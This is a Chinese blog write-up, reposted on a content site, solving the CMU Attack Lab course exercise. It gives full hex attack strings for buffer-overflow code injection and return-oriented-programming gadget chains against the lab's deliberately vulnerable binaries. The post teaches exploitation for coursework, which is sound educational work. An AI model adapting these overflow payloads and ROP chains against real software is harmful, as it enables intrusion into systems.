Attack Lab

news2024/11/20 21:28:08

Attack Lab

从CMU官网下载完所需实验包后,内有官方文档以及.tar压缩包,使用tar -xvf targetk.tar解压后,得到如下文件

The fifiles in targetk include:

README.txt: A fifile describing the contents of the directory

ctarget: An executable program vulnerable to code-injection attacks

rtarget: An executable program vulnerable to return-oriented-programming attacks

cookie.txt: An 8-digit hex code that you will use as a unique identififier in your attacks.

farm.c: The source code of your target’s “gadget farm,” which you will use in generating return-oriented

programming attacks.

hex2raw: A utility to generate attack strings.

我们还是将答案保存在answer.txt,这里运行 ./ctarget -q 要用 -q ,(参考官方文档)毕竟不是 CMU 的学生,-q 的作用: Don’t send results to the grading server

这次的 lab 要仔细看官方的文档,里面是题目的要求,也包含解题指导,对解决问题很有帮助。

这次 lab 就是输入攻击字符串,实现调用函数等目的,包含了对栈破坏,注入代码,ROP 攻击等方法,说明了栈溢出的危害。这里要使用 unix> ./hex2raw < result.txt | ./ctarget 来运行查看解答是否正确,运行方法不唯一,总之只要把得出答案经过hex2raw后的结果当做ctarget的输入即可。解答保存在 answer.txt 中,这里命令中的 |表示管道,就是把前面的输出作为后面的输入,./hex2raw 根据输入的 16 进制字符串生成攻击字符串,也就是我们的答案是十六进制的字符串形式,每个字节中间要用空格或换行进行分割(详细见官方文档);

同样的,和bomb lab一样,需要对所给的可执行程序生产汇编代码,objdump -d ctarget > ctarget.d

Part I: Code Injection Attacks

这一部分共三题,都是代码注入攻击。该程序的设置方式为堆栈位置在每次运行之间将是一致的,因此堆栈上的数据可以被视为可执行代码,即程序并没有开启栈随机化。

Phase 1

Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directly related to this stage, but this will not cause a problem, since touch1 causes the program to exit directly.

本题要求我们输入字符串攻击getbuf,使其在执行返回指令时,执行touch函数,而不是返回test函数。

查看getbuf函数

00000000004017a8 <getbuf>:                                                                                     
	 4017a8:   48 83 ec 28             sub    $0x28,%rsp
	 4017ac:   48 89 e7                mov    %rsp,%rdi
	 4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
	 4017b4:   b8 01 00 00 00          mov    $0x1,%eax
	 4017b9:   48 83 c4 28             add    $0x28,%rsp
	 4017bd:   c3                      retq   

注意第二行,栈有 0x28 即 40 个字节,注意 x86-64 在函数调用时会自动将返回地址压入栈,因此调用函数时栈顶就是返回地址,只要修改它就能调用其他的函数了,输入 40 个字节后,使栈溢出,再输入个地址就能破坏 getbuf 返回地址(因为栈是向下增长的,而读入的字符串会向高地址进行写入),返回时就会调用修改了的地址对应的函数,这里的是个八字节的 64 位地址,按题目要求就是 touch1 函数的地址, 00000000004017c0 <touch1>: ,注意这里机器要用小端法存入地址写成: c0 17 40 00 00 00 00 00 ,因此第一题答案就是任意 40 个字节加上该地址。
所以答案可以是:

 41 41 41 41 41 41 41 41 41 41
 41 41 41 41 41 41 41 41 41 41
 41 41 41 41 41 41 41 41 41 41
 41 41 41 41 41 41 41 41 41 41
 c0 17 40 00 00 00 00 00 

Phase 2

Phase 2 involves injecting a small amount of code as part of your exploit string

第2阶段涉及注入少量代码作为攻击字符串的一部分。

touch2代码

void touch2(unsigned val)
{  
    vlevel = 2; /* Part of validation protocol */ 
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case,however, you must make it appear to touch2 as if you have passed your cookie as its argument.

您的任务是让CTARGET执行touch2的代码,而不是返回测试。在这种情况下,然而,您必须使它看起来像touch2,就好像您已经将cookie作为参数传递了一样。

这题需要我们注入一些代码作为攻击一部分。同样的,需要跳转到touch2函数,这与上题一样,不同的是,这里我们要使用注射代码给寄存器rdi赋值,使其等于我们的cookie(cookie的值可以在同级目录cookie.txt中查看)。具体的,我们需要注射如下代码,将rdi正确赋值后,再通过push 函数touch2的首地址压入栈,随后ret出栈进入touch2

movq $0x59b997fa,%rdi
pushq $0x004017ec
retq

代码注入攻击,通常是输入给程序一个字符串,这个字符串包含一些可执行代码的字节编码,称为攻击代码,再利用一些字节使得一个指向攻击代码的指针将原来的返回地址覆盖,那么执行ret指令的效果就是跳转到攻击代码。

将注入代码保存为 code.s 文件,参考文档,使用 gcc -c code.s 编译,再用 objdump -d code.o > code.d 反汇编就能得到十六进制表示的机器代码了,将这段代码通过 getbuf 放入栈中(首地址在栈顶,可以通过 gdb 在栈空间开辟后打个断点,打印 %rsp 的值就是栈顶了),再和第一题一样填充到40字节,结尾加上注入代码的地址就是答案了。这样我们的攻击代码在栈空间开辟就存储在了栈顶的位置,随后通过ret再返回到攻击代码,执行攻击。

栈栈顶地址打印如下

在这里插入图片描述

所以最终答案如下:

48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
41 41 41
41 41 41 41 41
41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41
78 dc 61 55 00 00 00 00

Phase 3

本题也需要用到代码攻击,与上题中不同的是,本题要求以cookie的字符串地址形式作为参数传参到touch3中。但是注意因为第三题中,后续操作会将 buf 栈中的 40 个字节覆盖了,因为在hexmatch函数中开了110个字节,且使用随机数在这110个字节中的某个部分写入cookie的值,所以不能将我们注入的字符串存储在这里,改为存储在调用getbuf函数前的栈中,通过打断点得到其栈顶地址是 0x5561dca0 。所以应该把字符串存入的地址设为 0x5561dca8 ,这个地址在输入的 16 进制中就紧跟着跳转的地址。

在这里插入图片描述

需要注入的代码经反编译如下:

0000000000000000 <.text>:
       0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
       7:   68 fa 18 40 00          pushq  $0x4018fa
       c:   c3                      retq             

再和上题类似填充至 40 字节,附上跳转地址。再将 cookie 转化为 16 进制的字符串附到跳转地址后面,根据 ASCII 码,这里的 cookie0x59b997fa 就是 35 39 62 39 39 37 66 61 ,因而最终答案是:

48 c7 c7 a8 dc 61 55 		/* 注入代码 */
68 fa 18 40 00 
c3 
30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00		/* touch3函数的地址 */
35 39 62 39 39 37 66 61  /* cookie 这里最后还可以加上 00 ,用作字符串结束标志,但hexmatch里调用的是strncmp,只比较前9个字符,所以加不加都可以 */

Part II: Return-Oriented Programming

这部分的两题是Return-Oriented Programming,引入了栈随机化和限制了可执行代码区域。

It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located.

It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault.

栈随机化的思想使得栈的位置在程序每次运行时都有变化,因此,即使许多机器都运行同样的代码,它们的栈地址都是不同的。栈随机化使得栈上的地址不确定,无法直接跳转到栈上的指定地址。另一种是限制了哪些内存区域能存放可执行代码。在典型的程序中,只有保存编译器产生的代码的那部分内存才需要是可执行的。其他部分可以被限制为只允许读和写**。限制可执行代码区域就使得注入在栈上的代码无法执行。**

所以需要改变攻击方式,改用ROP攻击,ROP的策略是识别现有程序中的字节序列由一条或多条指令组成,后跟指令ret。这样的段称为gadget。简单来说就是利用函数自带的一些gadget,进行提取,使它们构成一个攻击链,利用程序自身的代码片段进行攻击,就能绕过这些安全限制。ROP 的具体讲解查看官方文档。

Phase 4

这题要求在新的保护下重复第二题的结果,将 cookie 值传入 %rdi ,这里和第二题一样使得栈溢出,然后将返回地址设为 gadgets 攻击链的起始地址。

原本是想直接找pop %rdi但所给的gadget farm并没有,退而求其次,可以通过pop %rax将cookie从栈内读到rax中再通过movq %rax ,%rdi传送到第一个参数寄存器rdi上。通过查看gadget farm,可以发现有这样gadgets,如下:

00000000004019a7 <addval_219>:
 928   4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax                                             
 929   4019ad:   c3                      retq

关于这些gadgets的查找,可以借助指导文档和vim的查找功能。 58 90 即是 popq %rax90nop ,可以直接忽视,这段代码地址是 0x4019ab ,它将栈上的值存入了寄存器,接着发现:

00000000004019c3 <setval_426>:
 944   4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)                                                 
 945   4019c9:   c3                      retq

48 89 c7 就是 movq %rax,%rdi ,就通过rax将栈上的值存入了 rdi ,因此将 cookie 值存入栈中,就可以传值,这段代码地址是 0x4019a2

因此输入字符串先是一段填充的 40 字节,然后是跳转地址,设为 pop 的地址 0x4019ab ,接着存入 cookie 值(就是将要 pop 的那个值,注意应存入 64 位值),然后是 mov 的地址 0x4019a2 ,最后跳转到 touch2 ,这样一个完整的 ROP 攻击链就形成了,一个可行的答案就是:

51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
ab 19 40 00 00 00 00 00			/* popq的地址 */
fa 97 b9 59 00 00 00 00			/* cookie */
a2 19 40 00 00 00 00 00			/* mov的地址 */
ec 17 40 00 00 00 00 00			/* touch2的地址 */

具体逻辑图如下,手残谅解。

在这里插入图片描述

Phase 5

第五题与上题要求类似,也是要用ROP攻击,与第三题内容一样,也是以cookie的字符串地址形式作为参数传参到touch3中。

由于需要传cookie的字符串作为参数,但是由于栈随机化策略,我们无法知道存放字符串的绝对地址,只能根据运行时的%rsp进行推算。所以大致流程:将字符串放入栈中,得到rsp,对rsp做适当的偏移得到字符串cookie的地址;

一开始的想法是先保存rsp的值,例如mov %rsp,%rax,再将rax加上偏移量offset,后将rax的值赋给rdi,再调用函数touch3,即可。

但是我们发现所给gadget中并没有add的指令编码,但通看一遍可以发现有这么一函数:

00000000004019d6 <add_xy>:
 956   4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
 957   4019da:   c3                      retq   

通过这个gadget也可以满足我们相加的要求,那么我们的做法就顺势变为了,将rsp的值赋值给rdi,将偏移量赋值给rsi

我们一步一步来,先将偏移量赋值给rsi,首先需要通过pop rax将偏移量offset放到rax,且也只能放到rax里面,因为gadget里面就只有pop rax这个寄存器的编码。所以需要通过rax将偏移量赋给esi,我们可以通过编码找到全部的传送指令,发现有edx = eax , ecx = edx , esi = ecx这样的三条形成的一条路,可以把rax将偏移量赋给esi

现在来把rsp的值赋给rdi,同时gadget里面也只有movl %rsp,%rax这一条将rsp赋值给别的寄存器的指令编码,但好消息是,有rdi = rax这个传送指令的编码,所以我们已近可以顺利完成rdirsi的赋值。

随后我们使用上面发现的add_xy来对rsp加上偏移量来对cookie字符串的地址进行定位,现在通过rdi = rax这条指令即可将rax的值赋给rdi完成参数的传递,随后就是touch函数的地址,最后在放入cookie即可,cookie的值我们在phase3已近算过了, 为35 39 62 39 39 37 66 61。好,现在我们知道了cookie字符串的位置与rsp相差了32个字节,所以偏移量offset为0x20。至此整个ROP攻击链完成。

栈中数据大致流程如下:

pop rax				0x4019ab		# 右边一列是指令的地址
offset	
edx = eax			4019dd
ecx = edx			401a34
esi = ecx 			0x401a13
rax = rsp			0401a06
rdi = rax 			0x4019c5	# rsp的指向
(%rdi,%rsi,1),%rax 	 0x4019d6
rdi = rax 			0x4019c5
touch3				0x4018fa
cookie

上方流程对应答案如下:

41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41
ab 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/261.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

web自动化测试框架

本文介绍web自动化测试框架 ●Base&#xff1a;用来对Selenium API进行二次封装。 对Selenium API进行二次封装的目的是简化一些复杂的操作&#xff0c;但是千万不要为了封装而封装。 封装好后&#xff0c;其他页面类可以集成basepage&#xff0c;调用这些方法。 from sele…

【iOS】—— 仿写知乎日报第一周总结

目录知乎日报第一周完成情况遇到的问题&#xff1a;1.线程问题&#xff1a;2.SDWebImage加载图片3.实现无限刷新界面4.点击主界面cell进入后的界面知乎日报第一周完成情况 在这周开始了仿写知乎日报的任务&#xff0c;在第一周里&#xff0c;我完成了主界面&#xff0c;以及滚…

新人入手mac折腾过程中遇到的解决方案

本文将长期更新&#xff0c;以记录个人的使用。 终端美化 …还没有美化完&#xff0c;不过推荐看这篇文章Mac终端美化指南 homebrew homebrew是Mac OS X上的强大的包管理工具&#xff0c;可以高效管理各种软件包&#xff0c;官方说法是&#xff1a;The missing package mana…

ArcGIS:如何新建图层组并添加数据、切换数据视图和布局视图、修改符号系统?

目录 01 如何新建图层组&#xff1f; 02 如何在图层组中添加数据 03 如何切换数据视图和布局视图 03 如何修改符号系统&#xff1f; 3.1 如何快捷的修改一下符号样式&#xff1f; 3.2 如何修改符号系统的色带 3.2.1 色带视图的取消 3.3 修改符号系统中的标注显示 3.4 如…

大气湍流退化图像复原技术研究及DSP实现

目录 第一章 绪论 1 1.1 研究背景 1 1.2 国内外研究现状 1 1.3 本文的研究内容 5 1.4 本文的组织结构 5 第二章 大气湍流退化图像复原技术 7 2.1 图像退化及复原数学模型概述 7 2.1.1 图像退化的数学模型 7 2.1.2 图像复原的数学模型 8 2.2 大气湍流退化图像概述 9 2.2.1 大气…

插件内存分析

rtspsrc 1. 当pipleline为rtspsrc加其他插件时&#xff0c;如果让其他插件卡主会发生什么事情呢&#xff1f;以rtspsrcfakesink为例&#xff08;gst-launch-1.0.exe rtspsrc locationrtsp://xxx ! fakesink&#xff09;&#xff0c;修改fakesink的代码&#xff0c;让render中…

基于SSM的图书馆阅览室预约管理系统,高质量论文范例,可直接参考使用,附送源码、数据库脚本

目录 1.项目技术栈 2.适合对象 3.适合课题 4.项目功能概述 4.1 项目功能汇总 4.2 项目功能介绍 5. 高质量论文范例 6. 毕业设计撰写视频教程 6.部分运行截图 1.项目技术栈 前端必学三个基础&#xff0c;"HTML、CSS、JS"&#xff0c;基本每个B/S架构项目都要…

C++【搜索二叉树】

目录 一、什么是搜索二叉树 二、搜索二叉树如何删除数据 删除的是叶子结点的情况 删除的结点下面仅有一个子节点&#xff08;托孤&#xff09;&#xff08;要删除的结点只有一个孩子&#xff09; 替换法删除 &#xff08;要删除的结点有两个个孩子&#xff09; 三、写一…

腾讯前辈熬夜肝了一个月整理的《Linux内核学习笔记》,啃完受益匪浅不走弯路

小编热衷于收集整理资源&#xff0c;记录踩坑到爬坑的过程。希望能把自己所学&#xff0c;实际工作中使用的技术、学习方法、心得及踩过的一些坑&#xff0c;记录下来。也希望想做Linux内核高级工程师的你一样&#xff0c;通过我的分享可以少走一些弯路&#xff0c;可以形成一套…

【数据结构】常见七大排序总结

目录 一、插入排序&#xff1a;直接插入排序【稳定排序方法】 二、插入排序&#xff1a;希尔排序【不稳定排序方法】 三、选择排序&#xff1a;直接选择排序【不稳定排序方法】 四、选择排序&#xff1a;堆排序【不稳定排序方法】 五、交换排序&#xff1a;冒泡排序【稳定…

基于单片机MC9S12XS128的两轮自平衡小车设计

目 录 1.绪论 1 1.1研究背景与意义 1 1.2两轮自平衡车的关键技术 2 1.2.1系统设计 2 1.2.2数学建模 2 1.2.3姿态检测系统 2 1.2.4控制算法 3 1.3本文主要研究目标与内容 3 1.4论文章节安排 3 2.系统原理分析 5 2.1控制系统要求分析 5 2.2平衡控制原理分析 5 2.3自平衡小车数学…

总结一下flex布局

flex布局 传统布局方案是基于盒状模型&#xff0c;依赖 display position float 方式来实现&#xff0c;灵活性较差&#xff1b;Flex是Flexible Box的缩写&#xff0c;意为”弹性布局”。Flex可以简便、完整、响应式地实现多种页面布局 CSS3 弹性盒子是一种一维的布局&…

[Spring MVC3]MyBatis详解

本章重点讲述了MyBatis映射器&#xff0c;对数据层进行的操作&#xff0c;建议本篇文章和Spring Boot的持久层相互比较来看会更加收获颇多Spring Boot持久层技术 本文需要使用到MVC第一讲的模板格式与配置情况&#xff0c;全部代码已经放在此博客中&#xff0c;Spring MVC1 目…

修改设备管理器的COM端口名称

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class{4d36e978-e325-11ce-bfc1-08002be10318}\0001] “InfPath”“oem53.inf” “InfSection”“CH341SER_Inst.NTamd64” “ProviderName”“wch.cn” “DriverDateData”hex:00,00…

计算机算法(二)——进入计算机世界

作者介绍&#xff1a; &#x1f4de;作者&#xff1a;小刘在C站 &#x1f4c0;每天分享课堂笔记 &#x1f339;夕阳下&#xff0c;是最美的绽放 瑞士著名的科学家Niklaus Wirth教授曾提出&#xff1a;数据结构算法程序。 数据结构是程序的骨 算法是程序的灵魂。 在生活…

【 C++11 】lambda表达式

目录 1、lambda表达式的引入 2、lambda表达式 lambda表达式的语法 lambda表达式捕捉列表说明 使用lambda表达式排序自定义类型 lambda表达式的底层原理 1、lambda表达式的引入 在C98中&#xff0c;如果想要对一个数据集合中的元素进行排序&#xff0c;可以使用std::sort方法&…

asp.net图书馆借阅归还系统

图书管理系统既是完整的知识定位系统&#xff0c;又是面向未来互联网发展的信息管理模式。图书管理系统&#xff0c;是一套利用计算机信息网络技术&#xff0c;实现对引用、注释和参考图书的自动化处理和规范化管理&#xff0c;服务于教师&#xff0c;学生及各类科研人员的集成…

【C语言进阶考试】你是否真正学懂了C语言

目录 前言 &#x1f392;选择题【全面深度剖析】 &#x1f4d7;考点一&#xff1a;无符号数unsigned的理解与应用 &#x1f4d5;考点二&#xff1a;字符ASCII计算与转换的理解和应用 &#x1f4d9;考点三&#xff1a;对位操作符的理解与应用 &#x1f4d8;考点四&#xf…

docker mysql 主从配置

准备&#xff1a;一台装有docker的虚拟机或者服务器 拉取mysql镜像&#xff1a; docker pull mysql:5.6 启动两个mysql容器 master docker run -p 1006:3306 --name mysql_master -v F:/mysql/mysql_master/conf:/etc/mysql -v F:/mysql/mysql_master/logs:/logs -v F:/mys…

【1024 | 程序员节】浅谈前端开发中常用的设计模式——适配器模式、工厂模式、单例模式等

前言 博主主页&#x1f449;&#x1f3fb;蜡笔雏田学代码 专栏链接&#x1f449;&#x1f3fb;【前端面试专栏】 今天学习前端面试题相关的知识&#xff01; 感兴趣的小伙伴一起来看看吧~&#x1f91e; 文章目录设计模式设计模式分类工厂模式什么是工厂模式工厂模式好处单例模式…